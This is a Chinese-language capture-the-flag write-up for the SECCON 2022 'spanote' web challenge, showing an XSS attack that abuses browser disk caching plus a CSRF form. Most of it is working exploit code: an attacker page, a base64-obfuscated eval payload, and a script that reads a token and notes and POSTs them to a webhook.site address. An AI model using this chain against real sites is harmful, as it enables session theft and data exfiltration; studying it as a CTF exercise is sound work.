看了一天,遇到好多问题,现在都把问题理清楚了

于是有了一份自己的 exp

如下

[SECCON 2022]spanote

利用浏览器缓存

此处存在 xss,虽然是 GET,但是会检查自定义的 header,直接使用浏览器访问是 x 不到的

1
2
3
4
5
6
7
8
fastify.get("/api/notes/:noteId", async (request, reply) => {
const user = new User(request.session.userId);
if (request.headers["x-token"] !== hash(user.id)) {
throw new Error("Invalid token");
}
const noteId = validate(request.params.noteId);
return user.sendNote(reply, noteId);
});

但是搭配剛剛講到的 cache 行為,你可以:

  1. 用瀏覽器打開  /api/notes/id,出現錯誤畫面
  2. 用同一個 tab 去到首頁,此時首頁會用 fetch 搭配 custom header 去抓  /api/notes/id,瀏覽器會把結果存在 disk cache 內
  3. 上一頁,此時畫面會顯示 disk cache 的結果

hack.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<script>
const main = async () => {
const sleep = (msec) =>
new Promise((resolve) => setTimeout(resolve, msec));
const noteId = "<img src=x onerror=eval(location.hash.slice(1))>.html";

window.open("http://8.134.216.221:1234/2.html");
await sleep(1000);
let a;
a = open(
`http://web:3000/api/notes/${noteId}#eval(atob('ZmV0Y2goImh0dHA6Ly93ZWI6MzAwMC9hcGkvdG9rZW4iKS50aGVuKChyZXNwb25zZSkgPT4KICByZXNwb25zZS5qc29uKCkudGhlbigoZGF0YSkgPT4gewogICAgdG9rZW4gPSBkYXRhLnRva2VuOwogICAgZmV0Y2goImh0dHA6Ly93ZWI6MzAwMC9hcGkvbm90ZXMiLCB7CiAgICAgIGhlYWRlcnM6IHsgIlgtVG9rZW4iOiB0b2tlbiB9LAogICAgfSkudGhlbigocmVzcG9uc2UpID0+CiAgICAgIHJlc3BvbnNlLmpzb24oKS50aGVuKChsaXN0KSA9PiB7CiAgICAgICAgZmV0Y2goYGh0dHA6Ly93ZWI6MzAwMC9hcGkvbm90ZXMvJHtsaXN0WzFdfWAsIHsKICAgICAgICAgIGhlYWRlcnM6IHsgIlgtVG9rZW4iOiB0b2tlbiB9LAogICAgICAgIH0pLnRoZW4oKHJlc3BvbnNlKSA9PgogICAgICAgICAgcmVzcG9uc2UudGV4dCgpLnRoZW4oKHJlc3ApID0+IHsKICAgICAgICAgICAgZmV0Y2goCiAgICAgICAgICAgICAgYGh0dHA6Ly93ZWJob29rLnNpdGUvN2IwOGIwN2ItZTllMi00MTY0LWI4ODktNWNjOWI5MzlhYTE1L2dldGAsCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICBib2R5OiByZXNwLAogICAgICAgICAgICAgIH0KICAgICAgICAgICAgKTsKICAgICAgICAgIH0pCiAgICAgICAgKTsKICAgICAgfSkKICAgICk7CiAgfSkKKTsK'))`
);
await sleep(1000);
a.location = `http://web:3000/`;
await sleep(1000);
a.location = `http://8.134.216.221:1234/back.html?n=2`;
};
main();
</script>
</body>

back.html

1
2
3
4
<script>
const n = parseInt(new URLSearchParams(location.search).get("n"));
history.go(-n);
</script>

2.html 本来使用 fetch 和 xhr 都不会带 cookie,只能 form 去发才可以带上 cookie,逆天

1
2
3
4
5
6
7
8
9
10
11
12
<form id="wow" action="http://web:3000/api/notes/delete" method="POST">
<input
type="text"
name="noteId"
value="<img src=x onerror=eval(location.hash.slice(1))>.html"
/>
<input type="submit" />
</form>

<script>
wow.submit();
</script>

xss 之后执行的代码,用于获取 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fetch("http://web:3000/api/token").then((response) =>
response.json().then((data) => {
token = data.token;
fetch("http://web:3000/api/notes", {
headers: { "X-Token": token },
}).then((response) =>
response.json().then((list) => {
fetch(`http://web:3000/api/notes/${list[1]}`, {
headers: { "X-Token": token },
}).then((response) =>
response.text().then((resp) => {
fetch(
`http://webhook.site/7b08b07b-e9e2-4164-b889-5cc9b939aa15/get`,
{
method: "POST",
body: resp,
}
);
})
);
})
);
})
);